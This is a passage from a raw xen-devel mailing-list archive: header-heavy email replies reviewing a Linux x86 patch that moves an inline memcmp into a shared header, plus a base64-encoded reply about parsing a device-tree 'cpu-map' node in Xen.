	bh=dVUHDiCCPenmpG77txOrHpZNog3IAMhNPv3S4y6Xv3I=; b=OqayeKvT0MXw8cB8Ns1EfUMh7J
	s9QSbqteOd0Zwx51NK2xKTgD/wxJoiuRr/zNDkqCUC+FpqsfJwDrlZDZiWZOCmvru6uekZtL1/ads
	qVqnNAidpHDdmgxhVZuojnbw7BfuDxTdYLrU5A5B8Pv1yfvUq+rFUnxyfzWEZgc+8fWR78Es4+mSC
	sFR22dLv8h7lEIAyxZpcucX6Kjw/TB31ckB2tcea+6rawvSF8Qtmcpbirc0zdevzK/tp6p1GU+h5h
	bIVtLs+PEr+QGcADMLMHx15QUNWgB/s+7TnIgfpPA1y43dYTpGdgkI/+slYgRKJIGRyUCg206mH5t
	Eor31ldg==;
MIME-Version: 1.0
Date: Wed, 01 Jul 2026 16:57:57 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: Borislav Petkov <bp@alien8.de>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"
 <hpa@zytor.com>, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
In-Reply-To: <20260701184014.GDakVfDhIgaIKurzTb@fat_crate.local>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
 <20260701184014.GDakVfDhIgaIKurzTb@fat_crate.local>
Message-ID: <fed9dc5860b96063c06592080f957589@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-4.7, Tests=ALL_TRUSTED=-3,AWL=-2.551,BAYES_50=0.8,URIBL_BLOCKED=0.001,URIBL_DBL_BLOCKED_OPENDNS=0.001,URIBL_ZEN_BLOCKED_OPENDNS=0.001
X-Spam-Score: -46
X-Spam-Bar: ----
X-purgate-ID: tlsNG-c201ff/1782935911-17D1E2B8-C361D11E/0/0
X-purgate-type: clean
X-purgate-size: 2816

Thanks for looking at this again.

On 2026-07-01 15:40, Borislav Petkov wrote:
> On Tue, Jun 30, 2026 at 02:21:46PM -0300, Mauricio Faria de Oliveira wrote:
>> Move the inline memcmp function currently only available in 'boot/string.c'
>> into the shared string function header <asm/shared/string.h> to be reused.
>> 
>> This is not done through <asm/string.h> to avoid pulling unnecessary code
>> in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
>> and 'purgatory/purgatory.ro'.
>> 
>> Note that the inline memcmp() returns 0/1, not -1/0/1 as regular memcmp()
>> (reported by David Laight <david.laight.linux@gmail.com>).
> 
> This belongs ...
> 
> 
>> 
>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>> ---
> 
> ... here, if anywhere.

I'm not sure, as Reported-by and Suggested-by mean something different.

Maybe a simpler statement would do? e.g., '(Thanks to David Laight for
noticing the return value difference between inline and regular
memcmp())'. That gives credit while avoiding confusion with tags.

> 
>>  arch/x86/boot/string.c               |  6 ++----
>>  arch/x86/include/asm/shared/string.h | 16 ++++++++++++++++
>>  arch/x86/include/asm/string.h        |  1 +
>>  3 files changed, 19 insertions(+), 4 deletions(-)
> 
> Also, PeterZ has a point - we should group all __inline_ functions into
> shared/string.h and say why that is the case at the top of the header.

Ok.

>> diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
>> index ac0f900ebc47efa81c92e1bb2010ea41677899c4..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
>> --- a/arch/x86/boot/string.c
>> +++ b/arch/x86/boot/string.c
>> @@ -15,6 +15,7 @@
>>  #include <linux/errno.h>
>>  #include <linux/limits.h>
>>  #include <asm/asm.h>
>> +#include <asm/shared/string.h>
>>  #include "ctype.h"
>>  #include "string.h"
>>  
>> @@ -31,10 +32,7 @@
>>  
>>  int memcmp(const void *s1, const void *s2, size_t len)
>>  {
>> -	bool diff;
>> -	asm("repe cmpsb"
>> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>> -	return diff;
>> +	return __inline_memcmp(s1, s2, len);
>>  }
>>  
>>  /*
>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>> new file mode 100644
>> index 0000000000000000000000000000000000000000..422952152f533ad75b98f3873297b39c4f5e2477
>> --- /dev/null
>> +++ b/arch/x86/include/asm/shared/string.h
>> @@ -0,0 +1,16 @@
>> +/* SPDX-License-Identifier: GPL-2.0 */
>> +#ifndef _ASM_X86_SHARED_STRING_H
>> +#define _ASM_X86_SHARED_STRING_H
>> +
>> +/* Note: this memcmp() returns 0/1, not -1/0/1 as regular memcmp(). */
> 
> Please document it properly - what does 0 mean as a return value and what 1.

Ok.

cheers,

> 
> Thx.

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 20:03:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 20:03:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350852.1608284 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf19h-0005g0-Hi; Wed, 01 Jul 2026 20:03:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350852.1608284; Wed, 01 Jul 2026 20:03:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf19h-0005fs-Eo; Wed, 01 Jul 2026 20:03:33 +0000
Received: by outflank-mailman (input) for mailman id 1350852;
 Wed, 01 Jul 2026 20:03:31 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf19f-0005dR-TJ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 20:03:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf19f-003doP-6H
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 22:03:31 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a457292-bab6-0a2a0a5309dd-0a2a4501c7e4-0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:03:30 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a457292-400f-0a2a45010019-d561b33887a6-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:03:30 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf19G-007jIE-GQ; Wed, 01 Jul 2026 22:03:06 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wf19E-008PvG-Bh; Wed, 01 Jul 2026 22:03:06 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wf19E-0000000DrRf-0aWf;
 Wed, 01 Jul 2026 22:03:04 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:References:In-Reply-To:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:References:
	In-Reply-To:Subject:Cc:To:From:Date:MIME-Version:Sender:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
	List-Post:List-Owner:List-Archive;
	bh=h8lMXBcYlOyRE4pQKie/bg8QzKCuakYmyioerwHH1+M=; b=eXh1+rNK/Agog1Cz9/pcvxMMW9
	sokenI9OuaFH9ZytFg5ZjyaJb9ougXQkL1fK0EnDBBYg+As7+DktzNVpksHIjBLtYNE3tciRfdB+J
	smM6qRWJljDWQgB7Aru2gemMvxXuBjar+KMOm0Qlvya6KdDj26dKF52iVQUFGtXtH4ho1uvxfx98u
	NMgN6oI8Qj704OXcOvEBXc6LMDalNRKcCTEpuT3DTLaNJoVZbUcOYciV7ESsTdmVPyyk8hLoRpaLX
	rGE/oMpiw9F06Rz+hwRNdaL0p34gLprKVUN6E5ZSAB/0E5+U2pipMQNYsusK7IiwU4DKj9gpYrddg
	Sx4pRuzQ==;
MIME-Version: 1.0
Date: Wed, 01 Jul 2026 17:03:04 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: Borislav Petkov <bp@alien8.de>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"
 <hpa@zytor.com>, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
In-Reply-To: <fed9dc5860b96063c06592080f957589@igalia.com>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
 <20260701184014.GDakVfDhIgaIKurzTb@fat_crate.local>
 <fed9dc5860b96063c06592080f957589@igalia.com>
Message-ID: <ccdc4d450a8683991f53038cde393597@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-4.7, Tests=ALL_TRUSTED=-3,AWL=-2.551,BAYES_50=0.8,URIBL_BLOCKED=0.001,URIBL_DBL_BLOCKED_OPENDNS=0.001,URIBL_ZEN_BLOCKED_OPENDNS=0.001
X-Spam-Score: -46
X-Spam-Bar: ----
X-purgate-ID: tlsNG-d62444/1782936210-D04D51E0-18ADB142/0/0
X-purgate-type: clean
X-purgate-size: 3118

On 2026-07-01 16:57, Mauricio Faria de Oliveira wrote:
> Thanks for looking at this again.
> 
> On 2026-07-01 15:40, Borislav Petkov wrote:
>> On Tue, Jun 30, 2026 at 02:21:46PM -0300, Mauricio Faria de Oliveira wrote:
>>> Move the inline memcmp function currently only available in 'boot/string.c'
>>> into the shared string function header <asm/shared/string.h> to be reused.
>>> 
>>> This is not done through <asm/string.h> to avoid pulling unnecessary code
>>> in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
>>> and 'purgatory/purgatory.ro'.
>>> 
>>> Note that the inline memcmp() returns 0/1, not -1/0/1 as regular memcmp()
>>> (reported by David Laight <david.laight.linux@gmail.com>).
>> 
>> This belongs ...
>> 
>> 
>>> 
>>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>>> ---
>> 
>> ... here, if anywhere.
> 
> I'm not sure, as Reported-by and Suggested-by mean something different.
>

Oops, I missed the triple dash in your comment.

That would discard the credit attribution when applied, AFAIK. So,
still:
 
> Maybe a simpler statement would do? e.g., '(Thanks to David Laight for
> noticing the return value difference between inline and regular
> memcmp())'. That gives credit while avoiding confusion with tags.

Thanks,

> 
>> 
>>>  arch/x86/boot/string.c               |  6 ++----
>>>  arch/x86/include/asm/shared/string.h | 16 ++++++++++++++++
>>>  arch/x86/include/asm/string.h        |  1 +
>>>  3 files changed, 19 insertions(+), 4 deletions(-)
>> 
>> Also, PeterZ has a point - we should group all __inline_ functions into
>> shared/string.h and say why that is the case at the top of the header.
> 
> Ok.
> 
>>> diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
>>> index ac0f900ebc47efa81c92e1bb2010ea41677899c4..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
>>> --- a/arch/x86/boot/string.c
>>> +++ b/arch/x86/boot/string.c
>>> @@ -15,6 +15,7 @@
>>>  #include <linux/errno.h>
>>>  #include <linux/limits.h>
>>>  #include <asm/asm.h>
>>> +#include <asm/shared/string.h>
>>>  #include "ctype.h"
>>>  #include "string.h"
>>>  
>>> @@ -31,10 +32,7 @@
>>>  
>>>  int memcmp(const void *s1, const void *s2, size_t len)
>>>  {
>>> -	bool diff;
>>> -	asm("repe cmpsb"
>>> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>>> -	return diff;
>>> +	return __inline_memcmp(s1, s2, len);
>>>  }
>>>  
>>>  /*
>>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>>> new file mode 100644
>>> index 0000000000000000000000000000000000000000..422952152f533ad75b98f3873297b39c4f5e2477
>>> --- /dev/null
>>> +++ b/arch/x86/include/asm/shared/string.h
>>> @@ -0,0 +1,16 @@
>>> +/* SPDX-License-Identifier: GPL-2.0 */
>>> +#ifndef _ASM_X86_SHARED_STRING_H
>>> +#define _ASM_X86_SHARED_STRING_H
>>> +
>>> +/* Note: this memcmp() returns 0/1, not -1/0/1 as regular memcmp(). */
>> 
>> Please document it properly - what does 0 mean as a return value and what 1.
> 
> Ok.
> 
> cheers,
> 
>> 
>> Thx.

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 20:28:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 20:28:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350888.1608294 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf1Y4-0006lj-Dg; Wed, 01 Jul 2026 20:28:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350888.1608294; Wed, 01 Jul 2026 20:28:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf1Y4-0006lc-Ai; Wed, 01 Jul 2026 20:28:44 +0000
Received: by outflank-mailman (input) for mailman id 1350888;
 Wed, 01 Jul 2026 20:28:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wf1Y1-0006i3-QZ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 20:28:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf1Y0-00BCNG-W7
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 22:28:41 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a457834-5cb7-0a2a0a5109dd-0a2a4505b3fa-38
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:28:40 +0200
Received: from [40.107.74.122]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a457874-3cb2-0a2a45050019-286b4a7a2c73-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:28:38 +0200
Received: from TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:363::12)
 by TY7P286MB6868.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:31e::16)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 1 Jul 2026
 20:28:33 +0000
Received: from TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
 ([fe80::9caa:1ff:d16c:e15f]) by TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
 ([fe80::9caa:1ff:d16c:e15f%3]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 20:28:33 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xjZn1xJWkSpz7WVskK1qVrCYlisHDPeFPWvt66lf4pB3++KW0z1g6sDTXiJZIWt1MzLugKPEj0gSDXzEBqo0xwwvRVwtOlOX5faHEnlRMyrSVgQ7icMAjFyfIOD9mGHPE2/fA470zbe9S08+SEECXk/bleL3xGbNNvEvFps5Lbbn8AqmEo2eZnnChexP3dqOmqNmew10su/PuUKU6LeKHnVnjwGaG56OBi94OqZy4Bca42mI2goTWWAeQVa+1WmIS/3H4HJG1yKWd4o+Rjf7QIIDy5D2tQC7Y6StQEOFa1ocQOjE7hCXHJfm0XMlvWBLLKnckaA56mlmnAF2mUInoA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ZS228F3QXeflNqzA5oshsUqALsaBJFHT4qC4wRbMdFw=;
 b=hG8xEOyLj5+1sFRCAS6wuCYa+5x87szN5phhEI32OVWECNgHqRHDt6qrAokpNOgYO8W+Z5mBPS8vrLoQBXxRCR4+Te/JQ0KdONaPtYZlLkVAgzPXN/81WsrIwlTvUOHPbo1RYfPGNFMhqo/wTjokE3DlpCnJ9KeN7mZsRujuw8nIK65z66x/KMJUKdKwsZsLcswX2YDGuaedoQMN5yLaMe28ylTCyfJriI+9ulkRI88fL+6efCagNQLOTLh3GkuGFqJRVFj68IbHYpjOkr4NPDtvwfhX3kvXRA2qdJNOtGlxFP8PcHhEzWtZvq8U3EYdb6pN8ntz59WrOIP4atHUbg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ZS228F3QXeflNqzA5oshsUqALsaBJFHT4qC4wRbMdFw=;
 b=Op7I9dWOVaQNW5as2Ii8+swXU2BGuy/DjrpoXMuOg5L0s1EXybKwNFrq8AFqZ5RiNxrgf4ihiDYm4u0G8jTRH9pMl/rrcyiQ2pfLPy73kzXhVxvCt0POJfgLOyBBN8AM5pZHvkJSlXoJYp0joWxJpPpp4fMC+sGE1C5edD+VlAY=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, =?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?=
	<roger.pau@citrix.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index: AQHdCBJguMZzJpb/JEe22XtErI4LcbZWqjWAgAHISeCAABufgIAAi7BQ
Date: Wed, 1 Jul 2026 20:28:33 +0000
Message-ID:
 <TY7P286MB72346237AC47028E012D145382F62@TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM>
References: <20260629215806.11610-1-taka@valinux.co.jp>
 <20260629215806.11610-2-taka@valinux.co.jp>
 <97dd9fd5-c0de-4125-a40a-b7f6e1aed27d@suse.com>
 <OS9P286MB722293D7D09513349055BA4B82F62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
 <a69129b1-f16b-4ce4-bf88-971f37eec418@suse.com>
In-Reply-To: <a69129b1-f16b-4ce4-bf88-971f37eec418@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: TY7P286MB7234:EE_|TY7P286MB6868:EE_
x-ms-office365-filtering-correlation-id: 091419fe-5b5c-4080-8f46-08ded7af5232
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|7416014|366016|376014|23010399003|18002099003|38070700021|56012099006|4143699003|22082099003;
x-microsoft-antispam-message-info:
 2zlWeQgIKBiBOlmuLs7zT0VBP1IVjymx4plA/oTpWHXAPdlWtPM74273HxHBIxjRVEqs7Adx0ZYpxzR3VtC8rSFcjlXPre9P7FwY+DcH1B/oUWuhv9jUdu9lYXFlbaTKTaQUFtrRjvuPRTN4mQqlQTpvMljUPWLo1fmnkhbXAs8XnhpIyBbR4LyKJQGmeAjr3/0FSvF8AhdeIBFLxmqVELeNJcyuvjZ/P7lL5BmATatPao6EwF8gRy2couHpWjubDRFCtVIjj7l+n4ph5U+OpmQ/ZPf1eQgsI6UHLiA4cWbRGyFoogxHBB5x7z8MftCb9YGCpuy5vxa0WHFqhYGYJjEAew9Af67ctY90ydi5axJ6QphIn6iBITcMWh5bGL4/x0aO27CqNXSBK4BgVS8j/cGJMj+XDNykW/pm1qkxV1/KvKnnPbXdbqur7OmHpww+Td0WaQvCTPVeIHbvHbM7eJpRzXASOtz/RBtMl5itqKQ0tEXCp0obABcNCCKH0TJG60pKVakHr9pp6hwDKtzbPet9YiGjQUyU+B6bDjTgz3M26kQH+Tuz4mf+8oj9cVY4685spMVVB7Iq8XyywTB1urZFAC5JK1/etMOKK0jeV0+3qv1yMRKz9zA+oKu1T55aIXy3Y+hXwRX7D9FI80S4Q0bcW31cYE1vMRMiJcSCiB3+abqKvfc2SfRwOXJgdtYcljflVgVJ+8/r4P3OCyPO7M88u55OzOxA9AMkQyhkTGs=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(7416014)(366016)(376014)(23010399003)(18002099003)(38070700021)(56012099006)(4143699003)(22082099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?NGlrWnhTaGMzY0J3bSttcUFNWk9MV090dTF2d0l6ZzhIOVpuaGFYTUdCaVUv?=
 =?utf-8?B?REtRdjBTNzNkQzRYSC91cjE5ZUI2YzRHVkYva3BBbEY2eldCZUcwb1JJaW5G?=
 =?utf-8?B?U2ZzNG5xcDdFam9xRmZnZWZpNTFXMi8xOXNWbUhkQlhqWXU2R1hOV3dzT2Rn?=
 =?utf-8?B?SHhTQlJ6UnJFQVRwSG5WbnA2NVVERnNTZkg1N2tWM1o1K01ERUUvRUR5VWY2?=
 =?utf-8?B?WVdHbzRoMzlwRmpCTWhoemhZd2RNQytWdE5WcTJTVUpQSHpVcVczL2V5OG41?=
 =?utf-8?B?d3pPaTUrSS85QkxTcUtHSmNtS2RN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kvR1hpQnQ0M0Q1dVgwSm4yMmdQaWlMMjN0Q1RN?=
 =?utf-8?B?RkxoNWtXNTVaQWMxcW9tSVcrU1dBN1NtQWFicmVaY3hKWVhZNDZCeWNRc1Uv?=
 =?utf-8?B?YzQwbmlkQW5BT3ltVDF1SjVnSmxBMFN0N1ZwL3ZYZE5BRVBCVUZ5ZmJMWTZv?=
 =?utf-8?B?cXBZRitsT3RHZHk0M1FFRGcwQnlSMWNXWTNRS2hBbHQzUStmYVhTSXB6RFNp?=
 =?utf-8?Q?5m2wRADiYNCZD9DP6p?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 091419fe-5b5c-4080-8f46-08ded7af5232
X-MS-Exchange-CrossTenant-originalarrivaltime: 01 Jul 2026 20:28:33.0917
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 5T93KgGoX0qdt4pxhb5zUFnqe1ZLJO00pPZjmmr0mN1Tr2DVgCuH3itzTe5CChOq4aCakLYK2iA37OLdFb6X3Q==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY7P286MB6868
X-purgate-ID: tlsNG-c201ff/1782937720-0E5122B8-A5AECE98/0/0
X-purgate-type: clean
X-purgate-size: 2538

SGVsbG8sDQoNCj4gU3ViamVjdDogUmU6IFtQQVRDSCB2MyAxLzNdIHhlbi9kZXZpY2UtdHJlZTog
UGFyc2UgJ2NwdS1tYXAnIG5vZGUgZm9yIENQVQ0KPiB0b3BvbG9neSBleHBsb3JhdGlvbg0KPiAN
C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QogICAgICAgIHByaW50ayhYRU5M
T0dfRVJSICJGYWlsZWQgdG8gYWxsb2NhdGUgbWVtb3J5IGZvciBjcHVfdG9wb2xvZ3kgdGFibGVc
biIpOw0KICAgICAgICByZXR1cm47DQogICAgfQ0KICAgICAgICA6DQogICAgICAgIDoNCg0KVGhh
bmsgeW91LA0KSGlyb2thenUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 20:47:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 20:47:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350913.1608302 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf1ps-00044Y-Ra; Wed, 01 Jul 2026 20:47:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350913.1608302; Wed, 01 Jul 2026 20:47:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf1ps-00044R-Oe; Wed, 01 Jul 2026 20:47:08 +0000
Received: by outflank-mailman (input) for mailman id 1350913;
 Wed, 01 Jul 2026 20:47:08 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bp@alien8.de>) id 1wf1ps-00044L-0V
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 20:47:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf1pr-004xLn-Da
